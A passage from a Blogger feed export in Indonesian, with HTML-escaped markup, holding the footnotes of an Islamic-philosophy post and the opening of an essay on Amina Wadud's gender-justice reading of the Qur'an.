style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-left: 45pt; text-indent: -45pt; line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;----------,dan &lt;i&gt;&lt;span style=&quot;&quot; lang=&quot;FI&quot;&gt;Falsafat Agama, &lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;&quot; lang=&quot;FI&quot;&gt;(Jakarta: Bulan Bintang, 1989),&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-left: 45pt; text-indent: -45pt; line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;span style=&quot;&quot; lang=&quot;FI&quot;&gt;----------, &lt;/span&gt;&lt;i&gt;Falsafat dan Mistisisme dalam Islam,&lt;/i&gt;(Jakarta: Bulan bintang, 1990),&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;margin-left: 45pt; text-indent: -45pt; line-height: 150%; text-align: justify; color: rgb(102, 102, 204);&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;Rahman, &lt;i&gt;&lt;span style=&quot;&quot; lang=&quot;IT&quot;&gt;Tema Pokok Al-qur’an&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;&quot; lang=&quot;IT&quot;&gt;, (Bandung: Pustaka, 1983).&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;p style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot; class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style=&quot;text-align: justify; color: rgb(102, 102, 204);&quot;&gt;  &lt;/div&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span style=&quot;color: rgb(102, 102, 204);font-size:85%;&quot; &gt;&lt;br /&gt;&lt;/span&gt;  &lt;hr style=&quot;margin-left: 0px; margin-right: 0px; height: 2px; color: rgb(102, 102, 204);font-size:78%;&quot;  width=&quot;33%&quot;&gt;  &lt;!--[endif]--&gt;  &lt;div style=&quot;color: rgb(102, 102, 204);&quot; id=&quot;ftn1&quot;&gt;  &lt;p class=&quot;MsoFootnoteText&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftnref1&quot; name=&quot;_ftn1&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;[1]&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; &lt;a name=&quot;_ftn3&quot;&gt;&lt;/a&gt;Taufik Adnan Amal (peny.) &lt;i&gt;Metode dan Alternatif Neomodernisme Islam Fazlur Rahman &lt;/i&gt;(Bandung: Mizan, 1994), Cet. VI., h. 69.&lt;/span&gt;&lt;/p&gt;  &lt;/div&gt;  &lt;div style=&quot;color: rgb(102, 102, 204);&quot; id=&quot;ftn2&quot;&gt;  &lt;p class=&quot;MsoFootnoteText&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftnref2&quot; name=&quot;_ftn2&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;[2]&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; &lt;i&gt;Ibid&lt;/i&gt;., h. 91.&lt;/span&gt;&lt;/p&gt;  &lt;/div&gt;  &lt;div style=&quot;color: rgb(102, 102, 204);&quot; id=&quot;ftn3&quot;&gt;  &lt;p class=&quot;MsoFootnoteText&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftnref3&quot; name=&quot;_ftn3&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;[3]&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; Dalam wacana teologi Islam, polemik masalah takdir manusia tidak pernah mendapat solusi yang memadai. Faham &lt;i&gt;Jabariyyah&lt;/i&gt; yang memandang manusia serba deterministik di satu sisi berhadapan dengan faham &lt;i&gt;Qadariyah&lt;/i&gt; yang memandang manusia memilki kebebasan sekaligus bertanggung jawab atas perbuatannya melatar belakangi lahirnya teori kasab Asy’ari sebagai jalan tengah. &lt;span style=&quot;&quot; lang=&quot;FI&quot;&gt;Lihat, Harun Nasution, &lt;i&gt;Teologi Islam Aliran-aliran Sejarah Analisa Perbandingan&lt;/i&gt;, (Jakarta: UI-Press, 1986), Cet., ke-5, h. 103-122. &lt;i&gt;Muhammad Abduh dan Teologi Rasional Mu’tazilah&lt;/i&gt;, pada penerbit yang sama, Cet., ke-1.,h.75-79.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/div&gt;  &lt;div style=&quot;color: rgb(102, 102, 204);&quot; id=&quot;ftn4&quot;&gt;  &lt;p class=&quot;MsoFootnoteText&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftnref4&quot; name=&quot;_ftn4&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;[4]&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; &lt;span style=&quot;&quot; lang=&quot;FI&quot;&gt;Lihat, QS, 57:1; 59:1; 61:1; 13:14; 62:1; 64:1 dan 17:44.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/div&gt;  &lt;div style=&quot;color: rgb(102, 102, 204);&quot; id=&quot;ftn5&quot;&gt;  &lt;p class=&quot;MsoFootnoteText&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftnref5&quot; name=&quot;_ftn5&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;[5]&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; &lt;span style=&quot;&quot; lang=&quot;FI&quot;&gt;Harun Nasution, &lt;i&gt;Falsafat Agama, &lt;/i&gt;(Jakarta: Bulan Bintang, 1989), Cet., ke-7, h. 56-60.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/div&gt;  &lt;div style=&quot;color: rgb(102, 102, 204);&quot; id=&quot;ftn6&quot;&gt;  &lt;p class=&quot;MsoFootnoteText&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftnref6&quot; name=&quot;_ftn6&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;[6]&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; Taufik Adnan Amal, &lt;i&gt;op. cit., h. 70&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/div&gt;  &lt;div style=&quot;color: rgb(102, 102, 204);&quot; id=&quot;ftn7&quot;&gt;  &lt;p class=&quot;MsoFootnoteText&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftnref7&quot; name=&quot;_ftn7&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;[7]&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; &lt;i&gt;Ibid&lt;/i&gt;.&lt;/span&gt;&lt;/p&gt;  &lt;/div&gt;  &lt;div style=&quot;color: rgb(102, 102, 204);&quot; id=&quot;ftn8&quot;&gt;  &lt;p class=&quot;MsoFootnoteText&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftnref8&quot; name=&quot;_ftn8&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;[8]&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; &lt;i&gt;Ibid&lt;/i&gt;.&lt;/span&gt;&lt;/p&gt;  &lt;/div&gt;  &lt;div style=&quot;color: rgb(102, 102, 204);&quot; id=&quot;ftn9&quot;&gt;  &lt;p class=&quot;MsoFootnoteText&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftnref9&quot; name=&quot;_ftn9&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;[9]&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; &lt;i&gt;Ibid&lt;/i&gt;. , h. 71. Dalam hal ini Rahman mengutip beberapa ayat al-Qur’an: QS: 18-17; 30:30; 33-62; 35:43-44; 48:23&lt;/span&gt;&lt;/p&gt;  &lt;/div&gt;  &lt;div style=&quot;color: rgb(102, 102, 204);&quot; id=&quot;ftn10&quot;&gt;  &lt;p class=&quot;MsoFootnoteText&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftnref10&quot; name=&quot;_ftn10&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;[10]&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; Lihat, Harun Nasution, &lt;i&gt;Falsafat dan Mistisisme dalam Islam,&lt;/i&gt; Jakarta: Bulan bintang, 1990, Cet., ke-10, h.34-40.&lt;/span&gt;&lt;/p&gt;  &lt;/div&gt;  &lt;div style=&quot;color: rgb(102, 102, 204);&quot; id=&quot;ftn11&quot;&gt;  &lt;p class=&quot;MsoFootnoteText&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftnref11&quot; name=&quot;_ftn11&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;[11]&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; Taufik Adnan Amal, &lt;i&gt;op. cit&lt;/i&gt;, h. 84.&lt;/span&gt;&lt;/p&gt;  &lt;/div&gt;  &lt;div style=&quot;color: rgb(102, 102, 204);&quot; id=&quot;ftn12&quot;&gt;  &lt;p class=&quot;MsoFootnoteText&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftnref12&quot; name=&quot;_ftn12&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;[12]&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; Lihat QS. 47:7.&lt;/span&gt;&lt;/p&gt;  &lt;/div&gt;  &lt;div style=&quot;color: rgb(102, 102, 204);&quot; id=&quot;ftn13&quot;&gt;  &lt;p class=&quot;MsoFootnoteText&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftnref13&quot; name=&quot;_ftn13&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;[13]&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; QS. 2:153, 8:47.&lt;/span&gt;&lt;/p&gt;  &lt;/div&gt;  &lt;div style=&quot;color: rgb(102, 102, 204);&quot; id=&quot;ftn14&quot;&gt;  &lt;p class=&quot;MsoFootnoteText&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftnref14&quot; name=&quot;_ftn14&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;[14]&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; QS.40:60&lt;/span&gt;&lt;/p&gt;  &lt;/div&gt;  &lt;div style=&quot;color: rgb(102, 102, 204);&quot; id=&quot;ftn15&quot;&gt;  &lt;p class=&quot;MsoFootnoteText&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftnref15&quot; name=&quot;_ftn15&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;[15]&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; Fazlur Rahman, &lt;i&gt;Tema-tema Pokok al-Qur`an, &lt;/i&gt;Anas Mahyuddin (Terj.), (Bandung: Pustaka, 1993), Cet. &lt;span style=&quot;&quot; lang=&quot;IT&quot;&gt;Ke-1, h. 26.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/div&gt;  &lt;div style=&quot;color: rgb(102, 102, 204);&quot; id=&quot;ftn16&quot;&gt;  &lt;p class=&quot;MsoFootnoteText&quot;&gt;&lt;span style=&quot;font-size:85%;&quot;&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-create.g?blogID=2958933673326428512#_ftnref16&quot; name=&quot;_ftn16&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;[16]&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; &lt;span style=&quot;&quot; lang=&quot;IT&quot;&gt;A. Syafi’i Maarif, &lt;i&gt;Peta Bumi Intelektualisme Islam di Indonesia&lt;/i&gt;, (Bandung: Mizan, 1984), Cet., ke-2, h. 26.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/div&gt;</description><link>http://slendangwetan29.blogspot.com/2008/04/tuhan-manusia-dan-alam-dalam-perspektif.html</link><author>noreply@blogger.com (SlendangWetan)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2958933673326428512.post-7856334032475890487</guid><pubDate>Fri, 07 Mar 2008 10:10:00 +0000</pubDate><atom:updated>2008-03-07T02:47:06.907-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Makalah Filsafat Islam Kontemporer</category><title>PERAN WANITA (Menurut Aminah Wadud)</title><description>&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;A. Pendahuluan&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Sebagai agama yang membenarkan dan melengkapi ajaran-ajaran sebelumnya, Islam datang sebagai rahmatan lil alamin, rahmat untuk sekalian alam. Salah satu ajarannya yang sangat bernilai adalah keadilan antara sesama umat manusia. Tidak sedikit ayat-ayat di dalam al-Qur`an yang menyebutkan bahwa umat manusia, laki-laki ataupun wanita, siapapun di antara mereka yang beriman dan beramal shaleh, maka akan mendapatkan ganjaran yang sama dari Allah swt.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Ajaran Islam mengenai keadilan antara laki-laki dan wanita, menimbulkan kegelisahan di diri Amina Wadud ketika melihat keterpurukan wanita Islam di segala bidang. &lt;i&gt;As a fully human agency, &lt;/i&gt;ia mulai mencari penyebab dari keterpurukan tersebut dengan melihat kepada sumber ajaran Islam terkait dengan wanita. Ia dapati, bahwa mayoritas penafsiran dan hasil hukum Islam ditulis oleh ulama pria dan seringkali membawa bias pada pandangan mereka.&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftn1&quot; title=&quot;_ftnref1&quot;&gt;&lt;span style=&quot;&quot;&gt;1&lt;/span&gt;&lt;/a&gt; Menurutnya, budaya patriarki telah memarginalkan kaum wanita, menafikan wanita sebagai &lt;i&gt;khalifah fil ardh&lt;/i&gt;, serta menyangkal ajaran keadilan yang diusung oleh al-Qur`an.&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftn2&quot; title=&quot;_ftnref2&quot;&gt;&lt;span style=&quot;&quot;&gt;2&lt;/span&gt;&lt;/a&gt;Ia tertantang dan berjuang (jihad) untuk melakukan reinterpretasi terhadap masalah tersebut dengan menggunakan metode Hermeneutik.&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftn3&quot; title=&quot;_ftnref3&quot;&gt;&lt;span style=&quot;&quot;&gt;3&lt;/span&gt;&lt;/a&gt; Kegelisahan ini akhirnya menginspirasikan ditulisnya buku &lt;i&gt;Qur`an and Woman&lt;/i&gt;, kemudian &lt;i&gt;Inside The Jihad Gender, Women’s Reform in Islam&lt;/i&gt;, karya yang membuat sebuah reformasi terhadap wanita islam dan merupakan grand proyek intelektualnya sehinggga pemikiran dan perannya mulai diperhitungkan. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Sekaitan dengan dirintisnya fikih yang berkeadilan jender oleh feminis Islam, maka di samping mengutip pemikirannya dalam buku &lt;i&gt;Inside The Gender Jihad, Women’s Reform In Islam, &lt;/i&gt;penulis juga banyak mengutip -bahkan mayoritas- pemikiran yang dirangkumnya dalam karyanya &lt;i&gt;Qur`an and Woman&lt;/i&gt; di atas. Hal ini dikarenakan fikih yang ia rintis nantinya adalah produk dari reinterpretasinya terhadap interpretasi ulama terdahulu terhadap ayat dan hadis tentang wanita. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;B. Biografi&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;&lt;span style=&quot;&quot;&gt;        &lt;/span&gt;Meskipun pemikirannya banyak dimuat di beberapa media, lebih-lebih semenjak terjadinya ‘jum`at bersejarah, dimana ia bertindak sebagai imam sekaligus k&lt;br /&gt;hathib shalat jum’at di &lt;span style=&quot;color: black;&quot;&gt;ruangan Synod House di Gereja Katedral Saint John The Divine di kawasan Manhattan, New York, Amerika Serikat, 18 Maret 2005 lalu&lt;/span&gt;, namun tidak banyak diketahui secara rinci mengenai riwayat hidup tokoh ini. Dari beberapa literatur dan situs, penulis menemukan bahwa ia dilahirkan pada tahun 1952, di Amerika.&lt;br /&gt;Nama orang tuanya tidak diketahui, namun ia adalah seorang anak pendeta yang taa&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftn4&quot; title=&quot;_ftnref4&quot;&gt;&lt;span style=&quot;&quot;&gt;4&lt;/span&gt;&lt;/a&gt; Ia mengakui bahwa ia tidak begitu dekat dengan ayahnya dan ayahnya tidak banyak mempengaruhi pandangannya. Hidayah dan ketertarikannya terhadap Islam, khususnya dalam masalah konsep keadilan dalam Islam, mengantarkannya untuk mengucapkan dua kalimah syahadah pada hari yang ia namakan &lt;i&gt;Thanksgiving day&lt;/i&gt;, tahun 1972.&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftn5&quot; title=&quot;_ftnref5&quot;&gt;&lt;span style=&quot;&quot;&gt;5&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p style=&quot;font-family: arial;&quot;&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Belum diketahui jenjang pendidikan yang ia lalui hingga mengantarkannya menjadi seorang professor studi Islam di Departemen Studi Islam dan Filsafat &lt;span style=&quot;color: black; letter-spacing: -0.75pt;&quot;&gt;Universitas Commonwealth di Richmond, &lt;st1:state st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Virginia&lt;/st1:place&gt;&lt;/st1:State&gt;. Namun dalam beberapa literature, ia merupakan seorang yang aktif di berbagai organisasi perempuan di Amerika, berbagai diskusi tentang perempuan, serta gigih menyuarakan keadilan Islam terhadap laki-laki dan perempuan di berbagai diskusi ilmiah pada beberapa daerah maupun Negara. Ia mendirikan organisasi Sister Islam di Malaysia. &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Dalam bukunya, Inside The Gender Jihad, ia menulis bahwa ia telah menjadi &lt;i&gt;the single parent&lt;/i&gt; lebih dari 30 tahun bagi empat orang anaknya. Hal ini, menurutnya, merupakan awal jihadnya dalam memperjuangkan hak-hak keadilan bagi para wanita Islam.&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftn6&quot; title=&quot;_ftnref6&quot;&gt;&lt;span style=&quot;&quot;&gt;6&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;C. Beberapa Konsep Keadilan Jender (Gender Justice) dalam Al-Qur`an menurut Amina Wadud&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Berikut ini akan diuraikan beberapa hal terkait dengan ayat-ayat tentang keadilan jender dalam al-Qur`an serta sejumlah kontroversi hak dan peran wanita yang kerapkali ditafsirkan sebagai bentuk superioritas pria atas wanita.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;1.   Penciptaan manusia&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Meskipun terdapat perbedaan antara perlakuan terhadap pria dan perlakuan terhadap wanita ketika al-Qur`an membahas penciptaan manusia, Amina berpendapat tidak ada perbedaan nilai esensial yang disandang oleh pria dan wanita. Oleh sebab itu tidak ada indikasi bahwa wanita memiliki lebih sedikit atau lebih banyak keterbatasan dibanding pria.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Semua catatan al-Qur`an mengenai penciptaan manusia dimulai dengan asal-usul ibu-bapak pertama : “Hai anak Adam, janganlah sekali-kali kamu dapat ditipu oleh setan sebagaimana ia telah mengeluarkan ibu-bapakmu dari surga..”(QS, 7:27). Amina menjelaskan bahwa kita menganggap ibu-bapak kita yang pertama serupa dengan kita. Meskipun anggapan ini benar, tetapi tujuan utama bab ini lebih menekankan pada satu hal: proses penciptaan mereka. Semua manusia setelah penciptaan kedua makhluk ini, diciptakan di dalam rahim ibunya.&lt;a href=&quot;http://mesw.wordpress.com/wp-admin/#_ftn7&quot; title=&quot;_ftnref7&quot;&gt;&lt;span style=&quot;&quot;&gt;7&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;u1:p&gt;&lt;/u1:p&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Arial;&quot;&gt;Dalam menjelaskan firman Allah QS, 4:1, penulis menekankan penjelasannya tentang pengertian dan maksud dari kata &lt;i&gt;min&lt;/i&gt; dan &lt;i&gt;nafs&lt;/i&gt;. Menurutnya, kata &lt;i&gt;min&lt;/i&gt;, memiliki dua fungsi. Yang pertama, digunakan sebagai preposisi `dari`, untuk menunjukkan makna menyarikan sesuatu dari sesuatu lainnya. Adapun yang kedua, digunakan untuk mengatakan `sama macam atau jenisnya`. Setiap penggunaan kata &lt;i&gt;min&lt;/i&gt; dalam ayat tadi telah ditafsirkan dalam salah satu atau kedua makna tadi, sehingga hasilnyapun berbeda.&lt;a 